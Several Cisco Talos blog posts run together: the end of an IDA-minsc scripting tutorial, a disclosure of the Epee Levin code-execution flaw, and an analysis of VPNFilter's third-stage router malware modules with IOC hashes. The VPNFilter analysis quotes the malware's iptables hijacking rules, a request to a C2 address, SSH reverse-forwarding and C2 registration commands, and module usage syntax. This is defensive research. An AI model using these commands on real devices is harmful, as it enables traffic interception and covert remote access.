AddressOpnumReftype(address=5816112L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816134L, opnum=1, reftype=ref_t(r))
AddressOpnumReftype(address=5816175L, opnum=1, reftype=ref_t(r))
The references that are returned are a named tuple containing the address, its operand number, and whether the reference is reading or writing to the variable. To show the instructions that we're dealing with, we will simply unpack the address out of the tuple and use it with the `database.disassemble` function.

Python>for ea, _, _ in m.refs():
Python> print db.disasm(ea)
Python>
58bebe: mov eax, [ebp+ap_frame_0]
58bedb: mov eax, [ebp+ap_frame_0]
58beed: mov eax, [ebp+ap_frame_0]
58bf02: mov eax, [ebp+ap_frame_0]
58bf17: mov eax, [ebp+ap_frame_0]
58bf30: mov eax, [ebp+ap_frame_0]
58bf46: mov eax, [ebp+ap_frame_0]
58bf6f: mov eax, [ebp+ap_frame_0]
Now that we can be sure that these instructions all reference the argument containing the frame of its caller, let us temporarily tag them with the name "frame-operand" and the operand's index.

Python>for ea, idx, _ in m.refs():
Python> db.tag(ea, 'frame-operand', idx)
Python>
Next, we will want to do is to identify the next instruction for each of these references that uses the register the frame variable is being assigned to. To identify the register belonging to the first operand, we can use `instruction.op`. To locate the next instruction that the register is being read from, we can use the `database.address.nextreg` function. Before we actually tag our results, however, let us first do a select of the "frame-operand" tag, and use the combination of `instruction.op` and `database.address.nextreg` to see what our results might look like.

Python>for ea, tags in func.select('frame-operand'):
Python> reg = ins.op(ea, 0)
Python> next_ref = db.a.nextreg(ea, reg, read=True)
Python> print hex(ea), '->', db.disasm(next_ref)
Python>
58bebe -> 58bec1: push eax
58bedb -> 58bede: mov eax, [eax+8]
58beed -> 58bef0: mov eax, [eax+8]
58bf02 -> 58bf05: mov eax, [eax+8]
58bf17 -> 58bf1a: mov eax, [eax+8]
58bf30 -> 58bf33: mov eax, [eax+8]
58bf46 -> 58bf49: mov eax, [eax+8]
58bf6f -> 58bf72: mov eax, [eax+8]
It appears that at the address 0x58bebe, the next usage of the `%eax` register is at 0x58bec1 via a "push" instruction. This is likely being used to pass the caller's frame to a function call. For now since we were only interested in the frame variables being used in the current function, we will remove the tag from this address.

Python>db.tag(0x58bebe, 'frame-operand', None)
1
After removing the tag at this address, there should exist only assignment instructions that read from the frame. Previously, we have stored the address of the caller in the function tag "frame-lvars". As a result of this, we can now use this to tag each of the assignment instructions that follows the reference to the "ap_frame_0" variable with the "frame" tag.

Python>for ea, tags in func.select('frame-operand'):
Python> reg = ins.op(ea, 0)
Python> next_ref = db.a.nextreg(ea, reg, read=True)
Python> lvars = func.tag('frame-lvars')
Python> db.tag(next_ref, 'frame', lvars)
Python>
Now that we have created a new tag, "frame", which points to an instruction that uses the frame, we do not need the "frame-operand" tag anymore. We can now remove this "frame-operand" tag by executing the following code at the IDAPython command prompt.

Python>for ea, _ in func.select('frame-operand'):
Python> db.tag(ea, 'frame-operand', None)
Python>
Let's review our results again, by querying the function for any instructions that are tagged with "frame". We will again use `database.disassemble` and this time include any comments that were specified by using the "comment" keyword as one of its parameters.

Python>for ea, tags in func.select('frame'):
Python> print db.disasm(ea, comment=True)
Python>
58bede: mov eax, [eax+8]; [frame] 0x590a33
58bef0: mov eax, [eax+8]; [frame] 0x590a33
58bf05: mov eax, [eax+8]; [frame] 0x590a33
58bf1a: mov eax, [eax+8]; [frame] 0x590a33
58bf33: mov eax, [eax+8]; [frame] 0x590a33
58bf49: mov eax, [eax+8]; [frame] 0x590a33
58bf72: mov eax, [eax+8]; [frame] 0x590a33
After tagging each of these instructions with "frame", we can now see which frame the offset is actually referring to. With this, as we are reversing we are able to double-click and immediately view the frame that owns that particular variable. However, we can do a little bit better than this. If we double click on the address of one of the instructions we emitted we can then use the `instruction.op` function to extract the operand that references the frame variable. Let's navigate to one of these instructions and then try that.

Python>ins.op(1)
OffsetBaseIndexScale(offset=8L, base=<internal.interface.register.eax(0,dt_dword) 'eax' 0:+32>, index=None, scale=1)
Immediately by emitting the first operand of the current instruction via `instruction.op`, a named tuple is returned which contains the offset referring to the frame variable we wish to view. If we use this offset with `function.frame` to identify the frame's member, we can then get its name. Let's fetch the member name with this method, and then tag the instruction with it as the "frame-member".

Python>for ea, tags in func.select('frame'):
Python> frame = func.frame(tags['frame'])
Python> offset = ins.op(ea, 1).offset
Python> member = frame.by(offset)
Python> db.tag(ea, 'frame-member', member.name)
Python>
We can now see that every instruction in the current function that was marked with "frame", includes the "frame-member" tag containing the frame variable's name. If we have any instructions tagged with the tag "frame", the prior described code will look into the frame owned by the function identified with the value of "frame" and then tag it with a reference to its name. This way if more than one instruction contains the correct frame in a tag, the prior code will store the name of the variable that is being referenced. We can do the same for the instruction at 0x58bf36 if we determine the caller of the function at 0x590a33. With this, we can then tag 0x58bf36 with the tag name "frame" and the function's address.

CODE:0058BF33 018 8B 40 08                          mov     eax, [eax+8]    ; [frame] 0x590a33
CODE:0058BF33 ; [frame-member] arg_0
CODE:0058BF36 018 8B 40 08 mov eax, [eax+8]
CODE:0058BF39 018 8B 80 54 F9 FF FF mov eax, [eax-6ACh]
CODE:0058BF3F 018 8B D3 mov edx, ebx
Instead of using tags to reference this, however, we can actually do even better. IDA-minsc actually allows us to apply the frame structure itself to an operand via the `instruction.op_structure` function. To perform this action, we will do the same selection for the "frame" tag and instead of fetching the offset to determine the name of the frame member we will just use `instruction.op_structure` with the frame structure itself..

Python>for ea, tags in func.select('frame'):
Python> frame = func.frame(tags['frame'])
Python> ins.op_struct(ea, 1, frame)
Python>
This will then result in each tagged instruction having its second operand referencing the frame member that it points to. For the "frame" tag at 0x58bf49, this will look like the following.

CODE:0058BF36 018 8B 40 08                          mov     eax, [eax+8]
CODE:0058BF39 018 8B 80 54 F9 FF FF mov eax, [eax-6ACh]
CODE:0058BF3F 018 8B D3 mov edx, ebx
CODE:0058BF41 018 E8 EA BE E7 FF call sub_407E30
CODE:0058BF46 018 8B 45 08 mov eax, [ebp+ap_frame_0]
CODE:0058BF49 018 8B 40 08 mov eax, [eax+($ F590728.arg_0-0Ch)] ; [frame] 0x590a33

Conclusion


There are a number of features within IDA-minsc that allow users to programmatically interact with the various parts of a binary that IDA exposes to a reverse-engineer. Among the features we mentioned above, this plugin also contains various tools provided in the "structure" module, and can use `function.frame()` to query the variables belonging to the stack frame of a particular function. We recommend the user run Python's `help()` keyword against these modules to see exactly what is available or to visit the documentation here.

Although a lot of this could've been done with a debugger and some clever breakpointing as with most reverse-engineering tasks, we believe there is a significant benefit to the user being able to script the annotation of the code that they are disassembling. By having a consistent, non-verbose API where most of each function's parameters can be determined automatically, this plugin reduces the time the user needs to invest in developing a solution that automates the work of a reverser. A reverse engineer can use this to approach a larger-scale project with a more complex target without having to worry about a massive time commitment.

Again, please visit the repository located at GitHub to download the plugin and try it out. If you enjoy the plugin, please "star" it and refer to the CONTRIBUTING.md file within the repository for any reported issues or contributions.


Vulnerability Spotlight: Epee Levin Packet Deserialization Code Execution Vulnerability

$
0
0
This vulnerability was discovered by Lilith (>_>) of Cisco Talos.

Overview


The Epee library, which is leveraged by a large number of cryptocurrencies, contains an exploitable code execution vulnerability in the Levin deserialization functionality. An attacker can send a specially crafted network packet to cause a logic flaw, resulting in remote code execution.

In accordance with our coordinated disclosure policy, Cisco Talos has worked with the developers of Monero 'Lithium Luna' to ensure that these issues have been resolved and that an update has been made available for affected users. It is recommended that this update is applied as quickly as possible to ensure that systems are no longer affected by this vulnerability.


Vulnerability Details


Epee Levin Packet Deserialization Code Execution Vulnerability (TALOS-2018-0637 / CVE-2018-3972)


The Levin network protocol is an implementation of peer-to-peer (P2P) communications found in a large number of cryptocurrencies, including all of the currencies that are forked from the CryptoNote project. A few different implementations of Levin are in existence. This post, however, is focused on the Epee library implementation. This library is used in a large number of cryptocurrencies, most notably Monero. A vulnerability exists in the way the library deserializes the Levin protocol, leading to an incorrect type conversion or cast, which can be abused to gain remote code execution. For additional information, please see the advisory here.

The vulnerability was tested on Monero 'Lithium Luna' (v0.12.2.0-master-ffab6700).
https://lists.getmonero.org/hyperkitty/list/monero-announce@lists.getmonero.org/thread/DB22JKE5SU4KB772ZBQFXAI4FWVWMUNF/

Coverage


The following Snort ID will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

Snort Rules:47342

VPNFilter III: More Tools for the Swiss Army Knife of Malware

$
0
0

Summary


VPNFilter — a multi-stage, modular framework that has infected hundreds of thousands of network devices across the globe — is now known to possess even greater capabilities. Cisco Talos recently discovered seven additional third-stage VPNFilter modules that add significant functionality to the malware, including an expanded ability to exploit endpoint devices from footholds on compromised network devices. The new functions also include data filtering and multiple encrypted tunneling capabilities to mask command and control (C2) and data exfiltration traffic. And while we believe our work, and the work of our international coalition of partners, has mostly neutralized the threat from VPNFilter, it can still be difficult to detect in the wild if any devices remain unpatched.

Talos has been researching VPNFilter for months. Our initial findings are outlined here, and a description of additional modules used by the framework is here. As part of our continued investigation, we developed a technique to examine a key protocol used by MikroTik networking devices to hunt for possible exploitation methods used by the actor.

As we followed the thread of VPNFilter infections, it became clear that MikroTik network devices were heavily targeted by the threat actor, especially in Ukraine. Since these devices seemed to be critical to the actor's operational goals, this led us to try to understand how they were being exploited. Part of our investigation included the study of the protocol used by MikroTik's Winbox administration utility. In this blog, we'll share how and why we studied this protocol, as well as the decoder tool we developed as a way of helping the security community look into this protocol for potential malicious actor activity.

The sophistication of VPNFilter drives home the point that this is a framework that all individuals and organizations should be tracking. Only an advanced and organized defense can combat these kinds of threats, and at the scale that VPNFilter is at, we cannot afford to overlook these new discoveries.


Expanded VPNFilter capabilities


The discovery of these additional VPNFilter third-stage modules has significantly added to our understanding of what we already knew to be an extremely potent threat. Together, these modules added:
  1. Additional capabilities that could be leveraged to map networks and exploit endpoint systems that are connected to devices compromised by VPNFilter.
  2. Multiple ways for the threat actor to obfuscate and/or encrypt malicious traffic, including communications used for C2 and data exfiltration.
  3. Multiple tools that could be utilized to identify additional victims accessible from the actor's foothold on devices compromised by VPNFilter for both lateral movement within a network, as well as to identify new edge devices in other networks of interest to the actor.
  4. The capacity to build a distributed network of proxies that could be leveraged in future unrelated attacks to provide a means of obfuscating the true source of attack traffic by making it appear as if the attacks originated from devices previously compromised by VPNFilter.

We were able to confirm the existence and capabilities of the malware after reverse-engineering these additional modules. Previously, we had to make analytic assessments on the existence and nature of these capabilities based solely on telemetry analysis, which always leaves room for error.

For example, we had previously noted what appeared to be devices compromised by VPNFilter conducting scans of large IP spaces that seemed focused on identifying other devices vulnerable to the methods of exploitation used by the actor associated with the VPNFilter malware. However, now we can discuss the specific third-stage module used for this activity.

As a result of our continued research, we have furthered our understanding of the full scope of the capabilities associated with VPNFilter after examining these additional third-stage modules.

Additional third-stage modules


As previously described, Talos identified the following seven additional third-stage modules that greatly expanded the capabilities present within VPNFilter.
Each of these modules is described in detail in the following sections.

'htpx' (endpoint exploitation module - executable injection)


'htpx' is a third-stage module for VPNFilter. This module shares similar code with the 'ssler' module previously documented by Talos. The module relies heavily on open-source code that can be traced to the original projects based on strings present within the binary. A good example is 'libiptc.c', which is part of Netfilter.
Comparison of strings between 'htpx' (left) and 'ssler' (right).

The primary function present within the 'htpx' module is responsible for setting up iptables rules to forward network traffic destined for TCP port 80 to a local server running on port 8888. This redirection is accomplished by first loading kernel modules that allow for traffic management. These modules (Ip_tables.ko, Iptable_filter.ko, and Iptable_nat.ko) are loaded with the insmod shell command.

The 'htpx' module then issues the following commands to surreptitiously forward traffic:

iptables -I INPUT -p tcp --dport 8888 -j ACCEPT
iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888

It also periodically checks to ensure that these rules remain present by issuing similar delete commands then re-adding them. A temp file is also created called /var/run/htpx.pid.

The following HTTP request is then generated:

GET %s HTTP/1.1\r\nHost: 103.6.146.194\r\nAccept: */*\r\nUser-Agent: curl53\r\n\r\n

During our analysis of the 'htpx' module, we were unable to elicit a response from C2 infrastructure, so we were unable to observe additional module operations. During our analysis of the module binary, we identified that the module inspects HTTP communications to identify the presence of Windows executables. When they are encountered, the executable is flagged and added to a table. We assess with moderate confidence that this module could be leveraged by attackers to download a binary payload and allow for on-the-fly patching of Windows executables as they pass through compromised devices.

'ndbr' (multi-functional SSH tool)


The 'ndbr' module is a module with SSH capabilities that also has the ability to port-scan other IPs. This module uses the dropbear SSH server and client and is a modified version of the dbmulti utility version 2017.75. We have identified several modifications to the standard dropbear functionality.

The first modifications are to the dbmulti utility itself. The typical utility can function as an SSH client, SSH server, perform data transfers using SCP, generate keys, or convert keys based. The functionality is determined either by the program name or the first parameter passed to the program. The 'ndbr' module has replaced the ability to generate or convert keys with a network mapping (i.e., port-scanning) function as well as another function called 'ndbr.'

Like the original "dbmulti" utility, the 'ndbr' module's functionality depends either on the name of the program or the first argument passed to the program. The arguments that the 'ndbr' module accepts are dropbear, dbclient, ssh, scp, ndbr, and nmap. A description of each of these arguments can be found in the following sections.

dropbear


The dropbear command instructs the 'ndbr' module to operate as an SSH server. The original dropbear code uses the default SSH port (TCP/22) to listen for connections. However, the code present within the 'ndbr' module has been modified to use a default port of TCP/63914. Other modifications to the original dropbear code change the way that host keyfiles are handled. The default keyfile path has been changed to /db_key, but the 'ndbr' module does not drop this file. Instead, the buf_readfile dropbear function has been modified to load the proper key from memory when the filename parameter is equal to /db_key.

Instead of using password-based authentication, the dropbear server has been modified to authenticate via a proper public key, which is also embedded in the 'ndbr' executable. A bug in this modified code mishandles connections attempting to use an incorrect public key. These authentication failures cause the ndbr SSH server to become stuck in an infinite loop. There is no indication to the client, however, that the authentication has failed. At this time, we have been unable to identify a correct key that would allow for successful authentication with the ndbr SSH server — neither of the keys embedded in the 'ndbr' module (i.e., /db_key and /cli_key) were correct, and no corresponding keys were found in any other VPNFilter-related binaries.

dbclient (ssh)


If passed the dbclient or ssh parameter, the 'ndbr' module acts as the standard dropbear SSH command-line interface client but with modifications to its default options. As with the default keyfile with dropbear server command, the dbclient/ssh commands have a default identity file: /cli_key. At this time, we do not know what the dbclient (SSH client) is expected to connect to.

nmap


If passed the nmap argument, the 'ndbr' module will perform a port scan of an IP or range of IPs.

The usage is:

Usage %s -ip* <ip-addr: 192.168.0.1/ip-range 192.168.0.0./24> -p* <port: 80/port-range: 25-125> -noping <default yes> -tcp <default syn> -s <source ip> -h/--help (print this help)

ndbr


If passed the ndbr argument, the 'ndbr' module will do one of three operations based on the other parameters it is passed. The SSH commands will make use of the default keys (i.e., /db_key and /cli_key) as described above.

The third parameter must begin with the word "start," or the 'ndbr' module uninstalls itself.

If the ndbr module is executed using the following parameters:

$ ./ndbr_<arch> ndbr <param1> <param2> "start proxy <host> <port>"

The following dropbear SSH command will be executed:

ssh -y -p <port> prx@<host> srv_ping j(<B64 victim host name>)_<victim MAC address> <param2>

This causes the dropbear SSH client to connect to a remote host and issue the "srv_ping" command, which is likely used to register the victim with a C2 server.

If the ndbr module is executed using the following parameters:

`$ ./ndbr_<arch> ndbr <param1> <param2> "start -l <port>"`

The dropbear SSH server (as described above) is started and begins listening on the port specified:

`sshd -p <port>`

If the ndbr module is executed with the following parameters:

`$ ./ndbr_<arch> ndbr <param1> <param2> "start <user> <host> <port>"`

Remote port forwarding is set up by executing the following dropbear command (see above for explanation of the command options):

`ssh -N -T -y -p <port> -R :127.0.0.1:63914 <user>@<host>`

'nm' (network mapper)


The 'nm' module is used to scan and map the local subnet. It iterates through all interfaces and starts by ARP scanning for all hosts on the subnet associated with each IP assigned to the interface. Once an ARP reply is received, nm will send an ICMP echo request to the discovered host. If an ICMP echo reply is received it will continue mapping by performing a port scan, trying to connect to the following remote TCP ports on the host: 9, 21, 22, 23, 25, 37, 42, 43, 53, 69, 70, 79, 80, 88, 103, 110, 115, 118, 123, 137, 138, 139, 143, 150, 156, 161, 190, 197, 389, 443, 445, 515, 546, 547, 569, 3306, 8080 or 8291.

Next, it uses the MikroTik Network Discovery Protocol (MNDP) to locate any other MikroTik devices on the local network. If a MikroTik device replies to the MNDP ping, nm extracts the MAC address, system identity, version number, platform type, uptime in seconds, RouterOS software ID, RouterBoard model, and interface name from the discovered device.

The nm module looks in /proc/net/arp to get information about the infected device's ARP table, revealing the IP and MAC addresses of neighboring devices. Next, the entire contents of /proc/net/wireless are gathered.

The module performs a traceroute by first creating a TCP connection to 8.8.8.8:53 to confirm its availability (no data is sent), then ICMP echo requests are repeatedly sent to this IP with increasing TTLs.

All of the network information that is gathered is saved to a temporary file named /var/run/repsc_<time stamp>.bin. An example .bin file is as follows:
The code responsible for the SSDP, CDP and LLDP functions was present within the module but was never called in the samples analyzed and therefore will always be empty.

The nm module requires three command line arguments to operate properly, but only the first parameter is used. Like several other modules, the first parameter is a folder, and this is the location where the data is permanently saved. The final task performed by the nm module is the moving of the temporary .bin file containing the results of the scan to a folder specified as the first command line argument, ostensibly for later exfiltration by the main VPNFilter process.

'netfilter' (denial-of-service utility)


netfilter expects three arguments to be given on the command line. The first two arguments are unused, and the third argument is a quoted string in the format "<block/unblock> <# of minutes>." '# of minutes' is how long netfilter should execute for before exiting. If 'block' was used as the first part of the third argument, netfilter adds the following rule to iptables:

Chain FORWARD (policy ACCEPT)
target     prot opt source         destination
DROP        tcp -- anywhere        anywhere       tcpflags: PSH/PSH

After adding this rule, netfilter waits 30 seconds and then deletes this rule. If there is still time remaining based on the '# of minutes' value, this process begins again. The addition and deletion loop ensures that the rule persists in the event the rule is deleted from the device.

Once the number of minutes has elapsed, the program exits. Signal handlers are also installed at the beginning of the netfilter program that deletes the iptables rule and then exit if the program receives either a SIGINT or SIGTERM. This is done so the device works as normal in the event someone manually terminates the netfilter program.

Finally, the 'unblock' argument can be used to delete the iptables rule that was previously added using the 'block' argument.

Although there are no other code paths possible, there are indications that there is or could have been something more to this module.

The first indicator is that all of the different netfilter module samples that Talos analyzed (MIPS, PPC, Tile-GX) contain the same list of 168 CIDR IP addresses and ranges which tie to the following companies/services:

31.13.64.51 - WhatsApp
169.44.36.0/25 - WhatsApp
203.205.167.0/24 - Tencent (Owner of QQ Chat)
52.0.0.0/16 - Amazon.com, Inc. (The following encrypted applications have used multiple IPs in this range: Wikr, Signal, Dust and Confide)

This indicates that the netfilter module may have been designed to deny access to specific forms of encrypted applications, possibly in an attempt to herd victim communications to a service that the actor preferred they use. Interestingly, Telegram, an extremely popular encrypted chat application, is missing from the list.

However, we were unable to find any references to these strings in the code. All versions of netfilter that we have samples for have this same IP range list but do not appear to use it. It's possible that the samples we have are incomplete.

The iptables rule that is added by the netfilter module drops TCP packets with the PUSH flag set. This rule would likely use iptables rules that block all packets not just TCP packets with the PUSH flag set if its purpose is to provide attackers with the ability to launch denial-of-service attacks using compromised devices. Typically, a rule like this would be useful as part of a man-in-the-middle attack enabling attackers with access to the devices to intercept forwarded traffic, manipulate it, then manually forward it. This might explain the list of CIDR ranges as a list of IPs to intercept. We were unable to locate any indication of this sort of functionality present within the samples that were analyzed.

We have concluded that the IPs are not used. This may be due to them being left over from an older version of the netfilter module, functionality that has not yet been implemented, or there may be modifications to the statically linked iptables library made by the malware authors that we haven't found yet. The VPNFilter authors have modified open-source code before (e.g. the ndbr module), so it's not unexpected that they would change the libiptc code linked in the netfilter module.

'portforwarding' (Allows the forwarding of network traffic to attacker specified infrastructure)


The portforwarding module is designed to be executed with the following command line arguments:

./portforwarding <unused> <unused> "start <IP1> <PORT1> <IP2> <PORT2>"

Given these arguments, the portforwarding module will forward traffic from a particular port and IP combination to another port and IP by installing the following iptables rules:

iptables -t nat -I PREROUTING 1 -p tcp -m tcp -d <IP1> --dport <PORT1> -j DNAT --to-destination <IP2>:<PORT2>

iptables -t nat -I POSTROUTING 1 -p tcp -m tcp -d <IP2> --dport <PORT2> -j SNAT --to-source <device IP>

These rules cause any traffic passing through the infected device that is destined to IP1:PORT1 to be redirected to IP2:PORT2 instead. The second rule then changes the source address of the rerouted traffic to that of the infected device to ensure the responses are sent back to the infected device.

As a precaution, before installing the iptables rules, the portforwarding module first checks that IP2 is available by creating a socket connection to IP2 on PORT2. However, no data is sent before the socket is closed.

Like other modules that manipulate iptables, the portforwarding module enters a loop that adds the rules, waits a period of time, deletes the rules and then adds them again to ensure that the rules persist on the device even if they are manually deleted.

'socks5proxy' (Enables establishment of a SOCKS5 proxy on compromised devices)


The socks5proxy module is a SOCKS5 proxy server that appears to be based on the open-source project shadowsocks. The server uses no authentication and is hardcoded to listen on TCP port 5380. Before the server is started, socks5proxy forks to connect to a C2 server specified in arguments supplied to the module. If the server does not respond within a few seconds, the fork kills its parent process (the server) and then exits. The C2 server can respond with commands to execute normally or terminate the server.

This module contains the following usage strings, though they do not line up with the arguments for the socks5proxy module, and these settings cannot be modified through command line arguments:

ssserver
    --username <username> username for auth
    --password <password> password for auth
    -p, --port <port> server port, default to 1080
    -d run in daemon
    --loglevel <level> log levels: fatal, error, warning, info, debug, trace
    -h, --help help

The actual command line arguments for the socks5proxy module are:

./socks5proxy <unused> <unused> "start <C&C IP> <C&C port>"

The socks5proxy module verifies the argument count is greater than 1, but the process crashes with a SIGSEV signal if two arguments are given, indicating that there may be limited or poor quality control during some phases of development for this malware toolchain.

'tcpvpn' (Enables establishment of a Reverse-TCP VPN on compromised devices)


The tcpvpn module is a Reverse-TCP VPN, designed to allow a remote attacker to access internal networks behind infected devices. It accomplishes this by beaconing to a remote server, which could be set up like a TunTap device to forward packets over the TCP connection. The connection is seen as outbound by network devices, which may help the module bypass simple firewalls or NAT issues. This module is similar in concept to penetration testing software Cobalt Strike's VPN Pivoting.

All data sent through the connection is encrypted with RC4, with a key generated by the hardcoded bytes:

"213B482A724B7C5F4D77532B45212D215E79433D794A54682E6B653A56796E457A2D7E3B3A2D513B6B515E775E2D7E533B51455A68365E6A67665F34527A7347"

Which are sandwiched between the port numbers of the current connection (e.g., "58586!;H*rK|_MwS+E!-!^yC=yJTh.ke:VynEz-~;:-Q;kQ^w^-~S;QEZh6^jgf_4RzsG80").

The command line syntax associated with the tcpvpn module are:

./tcpvpn <unused> <unused> "start <C&C IP> <C&C port>"

MikroTik Research


Introducing the Winbox Protocol Dissector


During our research into VPNFilter, we needed to determine how some of the devices were compromised. While examining the MikroTik series of devices, we noticed an open port (TCP 8291) and that the configuration tool "Winbox" uses that port for communication.

The traffic from these devices appeared as large blobs of binary data, so we weren't able to determine potential avenues of access using this protocol without a protocol dissector (which to our knowledge, didn't exist publicly). We decided to develop our protocol dissector for use with packet analysis tools such as Wireshark to learn more about the protocol, which would allow us to design effective rules to prevent future infections once potential attack vectors were discovered.

An example of such an attack vector is CVE-2018-14847 which allows an attacker to perform a directory traversal for unauthenticated credential recovery. The dissector proved extremely helpful when we wrote coverage for this vulnerability (Snort SID: 47684). While an update for this vulnerability has been released, we think it's essential for security professionals to be able to monitor this traffic to help identify any other potentially malicious traffic.

Privacy can still be maintained by ensuring that you either use "secure mode" to encrypt communications or download the latest Winbox client which communicates over encrypted channels only. This tool will NOT decrypt encrypted communications. The latest MikroTik CCR firmware version we tested (6.43.2), enforces the usage of this newer Winbox client though this is only enforced client-side. This means that you CAN still communicate over insecure channels using a custom-made client. Therefore, we believe this Wireshark dissector remains useful because an attacker can still deliver an exploit without having to reimplement said secure communications.

What is the "Winbox Protocol?"


The term "Winbox" comes from the Winbox client offered by MikroTik as an alternative to the web GUI.

From the official documentation, Winbox is a small utility that allows for the administration of MikroTik RouterOS using a fast and simple GUI. It is a native Win32 binary but can be run on Linux and MacOS (OSX) using Wine, an open-source compatibility layer. All Winbox interface functions are as close as possible to mirroring the console functions — that is why there are no Winbox sections in the manual. Some of the advanced and critical system configurations are not possible from Winbox, like changing the MAC address on an interface.

The term "Winbox Protocol" is not official, as far as we know. It's simply the term we chose since it matches the name of their client.

Using the dissector


Installation is simple, and since this is a LUA-based dissector, recompilation is not necessary. Simply drop the Winbox_Dissector.lua file into your /$HOME/.wireshark/plugins folder. By default, any TCP traffic to or from TCP port 8291 will be properly decoded as Winbox traffic once the dissector is installed.

While a single message from the client/server to its destination would be preferable for parsing purposes, this is not always the case and observing live communications proved that there are many ways that Winbox messages can be formatted and sent.

Below is an example of a Winbox communications capture that has the following properties:
  • Multiple messages sent in the same packet.
  • Messages containing one or more two-byte "chunks" that need to be removed before parsing.
  • Messages too long for a single packet — TCP reassembly applied.
  • Messages containing additional "nested" messages
Here is how the capture is displayed before installing the dissector:
The communications are correctly parsed in Wireshark following installation of the Winbox protocol dissector:

Obtaining the Dissector


To improve the security community's ability to analyze these communications and to monitor for threats that may attempt to take advantage of the Winbox Protocol, Cisco Talos is releasing this dissector for public use. For additional information and to obtain the dissector, please see the GitHub repository here.

Conclusion


As a result of the capabilities we previously discovered in VPNFilter coupled with our new findings, we now confirm that VPNFilter provides attackers all of the functionality required to leverage compromised network and storage devices to further pivot into and attack systems within the network environments that are being targeted.

It also allows attackers to leverage their access to sensitive systems such as gateway and routing devices to perform activities such as network mapping and endpoint exploitation, network communications monitoring and traffic manipulation, among other serious threats. Another dangerous capability provided by VPNFilter is the ability to turn compromised devices into proxies that could be leveraged to obfuscate the source of future, unrelated attacks by making it appear as if the attacks originate from networks previously compromised by VPNFilter. The sophisticated nature of this framework further illustrates the advanced capabilities of the threat actors making use of it, as well as the need for organizations to deploy robust defensive architectures to combat threats such as VPNFilter.

With this new understanding of VPNFilter, most of our unanswered questions about the malware itself have now been answered. However, there are still significant unknowns about this threat that linger to this day:

How did the actor gain initial access to affected devices?

While we strongly assess that they utilized widely known, public vulnerabilities based on the makes/models affected by VPNFilter, we still don't have definitive proof of this.

Is the actor attempting to reconstitute their access?

Based on our telemetry and information from our partners, it appears that VPNFilter has been entirely neutralized since we and our international coalition of partners (law enforcement, intelligence organizations, and the Cyber Threat Alliance) countered the threat earlier this year. Most C2 channels for the malware have been mitigated. The stage 2 implants were non-persistent, so most have likely been cleared from infected devices. We have seen no signs of the actor attempting to reconnect with devices that may still have the persistent stage 1 with an open listener.

Does this mean the actor has abandoned this expansive foothold into the small and home office (SOHO) network device space? Are they instead reconstituting their access by starting over, re-exploiting and dropping new unknown malware? Have they given up on having broad worldwide SOHO access in favor of a more tailored approach only going after specific key targets?

Whatever the answers may be, we know that the actor behind VPNFilter is extremely capable and driven by their mission priorities to continually maneuver to achieve their goals. In one form or another, they continue to develop and use the tools and frameworks necessary to achieve their mission objective(s).

IOCs


a43a4a218cf5755ce7a7744702bb45a34321339ab673863bf6f00ac193cf55fc
aac52856690468687bbe9e357d02835e9f5226a85eacc19c34ff681c50a6f0d8
13165d9673c240bf43630cddccdc4ab8b5672085520ee12f7596557be02d3605
b81f857cd8efab6e6e5368b1c00d93505808b0db4b773bee1843a3bc948d3f4f
809f93cbcfe5e45fae5d69ca7e64209c02647660d1a79b52ec6d05071b21f61a
7ff2e167370e3458522eaa7b0fb81fe21cd7b9dec1c74e7fb668e92e261086e0
81368d8f30a8b2247d5b1f8974328e9bd491b574285c2f132108a542ea7d38c7
b301d6f2ba8e532b6e219f3d9608a56d643b8f289cfe96d61ab898b4eab0e3f5
99e1db762ff5645050cea4a95dc03eac0db2ceb3e77d8f17b57cd6e294404cc7
76bf646fce8ff9be94d48aad521a483ee49e1cb53cfd5021bb8b933d2c4a7f0f
e009b567516b20ef876da6ef4158fad40275a960c1efd24c804883ae273566b0
7c06b032242abefe2442a8d716dddb216ec44ed2d6ce1a60e97d30dbba1fb643
f8080b9bfc1bd829dce94697998a6c98e4eb6c9848b02ec10555279221dd910a
4e350d11b606a7e0f5e88270938f938b6d2f0cc8d62a1fdd709f4a3f1fa2c828
f1cf895d29970c5229b6a640c253b9f306185d4e99f4eac83b7ba1a325ef9fb8
8395e650e94b155bbf4309f777b70fa8fdc44649f3ab335c1dfdfeb0cdee44ff
a249a69e692fff9992136914737621f117a7d8d4add6bac5443c002c379fe072
5e75b8b5ebbef78f35b00702ced557cf0f30f68ee08b399fc26a3e3367bb177b
fe022403a9d4c899d8d0cb7082679ba608b69091a016e08ad9e750186b1943dd
116d584de3673994e716e86fbb3945e0c6102bfbd30c48b13872a808091e6bc9
4263c93ce53d7f88c62fecb6a948d70e51c19e1049e07df2c70a467bcefee2c8
5d70e7dd5872cc0d7d0f7015c11400e891c939549c01922bff2bbe3b7d5d1ce3
5c52f115ab8a830d402fac8627d0bfdcbbfd4dcf0e6ad8154d49bb85387893aa
e75e224c909c9ead4cb50cd772f606407b09b146051bfb28015fcbe27b4a5e8d
999f14044f41adfd9fb6c97c04d7d2fd9af01724b3ab69739acf615654abfa43
b118b23a192f372616efe8c2b12977d379ac76df22493c14361587bd1cc8a804
7ba0dc46510492a7f6c9b2bcc155333898d677cd8a88fe0e1ac1ad3852f1c170
83b3dbf7f6bc5f98151b26781fa892fc1a014c62af18c95ae537848204f413b8
fce03f57b3fd3842efac3ce676687794c4decc29b612068e578134f3c4c4296a
1f26b69a353198bb047dde86d48198be8271e07f8c9d647d2f562207e1330a37
1e824654afba03678f8177e065c487a07192069711eeb4abe397010771b463b5
84227f906c7f49071d6598b9035fc785d2b144a6349d0cf7c29177c00db2dc2f
6eb09f805a68b29c9516d649019bea0bb4796e504ca379783455508a08f61087
aa5baa135b2ada5560833747260545d6a5b49558f6244c0f19443dc87c00294d
4c5e21125738c330af1bfe5cabc5f18fa14bbef53805dda2c3c31974555f7ec5
0f3746f273281472e7181f1dd1237f0c9fc26f576a883f42413c759f381006c4
acfc72b8d6611dc9cd6a3f1a4484aa0adfb404ad5faaa8b8db5747b0ff05bc22
fe9c17ac036622b2d73466f62b5d095edda2d3b60fa546a48d0bb18f8b11059f
830091904dab92467956b91555bc88fa7e6bbde514b8a90bb078c8a3bb2f39a9
5a28ad479d55275452e892b799c32803f81307079777bb1a5c4d24477206d16b
